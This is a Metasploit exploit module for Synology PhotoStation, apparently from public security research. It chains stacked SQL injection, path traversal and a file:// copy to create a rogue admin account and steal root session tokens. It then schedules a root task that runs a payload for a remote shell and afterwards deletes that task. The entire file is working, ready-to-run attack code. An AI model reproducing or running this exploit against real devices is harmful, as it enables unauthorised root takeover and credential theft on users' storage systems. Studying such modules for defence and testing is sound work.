# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Synology PhotoStation Multiple Vulnerabilities",
'Description' => %q{
This module exploits multiple vulnerabilities in Synology PhotoStation.
When combined these issues can be leveraged to gain a remote root shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay',
],
'References' =>
[
[ 'URL', 'http://gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2018-01-08',
'DefaultTarget' => 0))
register_options(
[
OptString.new('DSMPORT', [ true, "The default DSM port", '5000']),
])
end
def check
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; SELECT user; -- "
},
})
if res and res.body =~ /PhotoStation/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
rnum = rand(1000)
rstr = Rex::Text.rand_text_alpha(10)
uuid = rnum # User ID
upwd = rstr # User Password
uusr = rstr # User name
vol1 = '/volume1'
audb = '/usr/syno/etc/private/session/current.users'
###########################################################################
# STEP 00: Force PhotoStation to NOT use DSM for the authentication system
###########################################################################
print_status("Switching authentication system to PhotoStation via SQL Injection")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "
},
})
###########################################################################
# STEP 01: Create an admin user
###########################################################################
print_status("Creating admin user: #{uusr} => #{upwd}")
# Password hash
umd5 = Rex::Text.md5(upwd)
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "
},
})
###########################################################################
# STEP 02: Authenticate and store session identifier
###########################################################################
print_status("Authenticating as admin user: #{uusr}")
res = send_request_cgi(
{
'uri' => '/photo/webapi/auth.php',
'method' => 'POST',
'vars_post' =>
{
'api' =>'SYNO.PhotoStation.Auth',
'method' => 'login',
'version' =>'1',
'username' => uusr,
'password' => upwd,
'enable_syno_token' => 'TRUE',
},
})
if not res or not res.headers or not res.headers['Set-Cookie']
print_error("Unable to retrieve session identifier! Aborting ...")
return
end
uckv = res.headers['Set-Cookie']
psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]
print_status("Got PHP Session ID: #{psid}")
###########################################################################
# STEP 03: Delete any existing path names used from the database
###########################################################################
print_status("Making sure there are no duplicate path index conflicts ...")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "
},
})
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "
},
})
###########################################################################
# STEP 04: Create a record for our malicious path in the database
###########################################################################
print_status("Creating video record with bad 'path' data via SQL injection")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "
},
})
###########################################################################
# STEP 05: Copy session database as root, to the web directory for reading
###########################################################################
print_status("Making a copy of the session db as root via synophotoio")
res = send_request_cgi(
{
'uri' => '/photo/include/photo/album_util.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'copy_items',
'destination' => '2f',
'video_list' => rnum
},
'cookie' => uckv
})
###########################################################################
# STEP 06: Move the session db copy to the web root for retrieval
###########################################################################
print_status("Moving session db to webroot for retrieval")
res = send_request_cgi(
{
'uri' => '/photo/include/file_upload.php',
'method' => 'POST',
'vars_get' =>
{
# /../@appstore/PhotoStation/photo/
'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f',
'name' => "2f",
'fname' => "#{rstr}",
'sid' => "#{psid}",
'action' => 'aviary_add',
},
'vars_post' =>
{
'url' => 'file://' + vol1 + '/photo/current.users'
},
'cookie' => uckv
})
###########################################################################
# STEP 07: Retrieve and read the session db
###########################################################################
print_status("Attempting to read session db")
res = send_request_cgi(
{
'uri' => "/photo/#{rstr}.jpg",
'method' => 'GET'
})
if not res or not res.body
print_error("Unable to retrieve session file! Aborting ...")
return
end
host = /"host": "([^"]+)"/.match(res.body)[1]
sess = /"id": "([^"]+)"/.match(res.body)[1]
syno = /"synotoken": "([^"]+)"/.match(res.body)[1]
print_status("Extracted admin session: #{sess} @ #{host}")
###########################################################################
# STEP 08: Registering files for cleanup
###########################################################################
# Uncomment for cleanup functionality
# register_files_for_cleanup("#{vol1}/photo/current.users")
# register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg")
###########################################################################
# STEP 09: Create a task containing our payload
###########################################################################
print_status("Creating privileged task to run as root")
# Switch to DSM port from here on out
datastore['RPORT'] = datastore['DSMPORT']
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'name' => '"whatevs"',
'owner' => '"root"',
'enable' => 'true',
'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}',
'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}',
'type' => '"script"',
'api' => 'SYNO.Core.TaskScheduler',
'method' => 'create',
'version' => '2',
},
'cookie' => "id=#{sess}"
})
if not res or not res.body
print_error("Unable to create task! Aborting ...")
return
end
task = /{"id"\d+)},"success":true}/.match(res.body)[1]
print_status("Task created successfully: ID => #{task}")
###########################################################################
# STEP 10: Execute the selected payload
###########################################################################
print_status("Running selected task as root. Get ready for shell!")
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'stop_when_error' => 'false',
'mode' => '"sequential"',
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]',
'api' => 'SYNO.Entry.Request',
'method' => 'request',
'version' => '1'
},
'cookie' => "id=#{sess}"
})
###########################################################################
# STEP 11: Delete payload task from scheduler
###########################################################################
print_status("Deleting malicious task from task scheduler")
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'stop_when_error' => 'false',
'mode' => '"sequential"',
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]',
'api' => 'SYNO.Entry.Request',
'method' => 'request',
'version' => '1'
},
'cookie' => "id=#{sess}"
})
end
end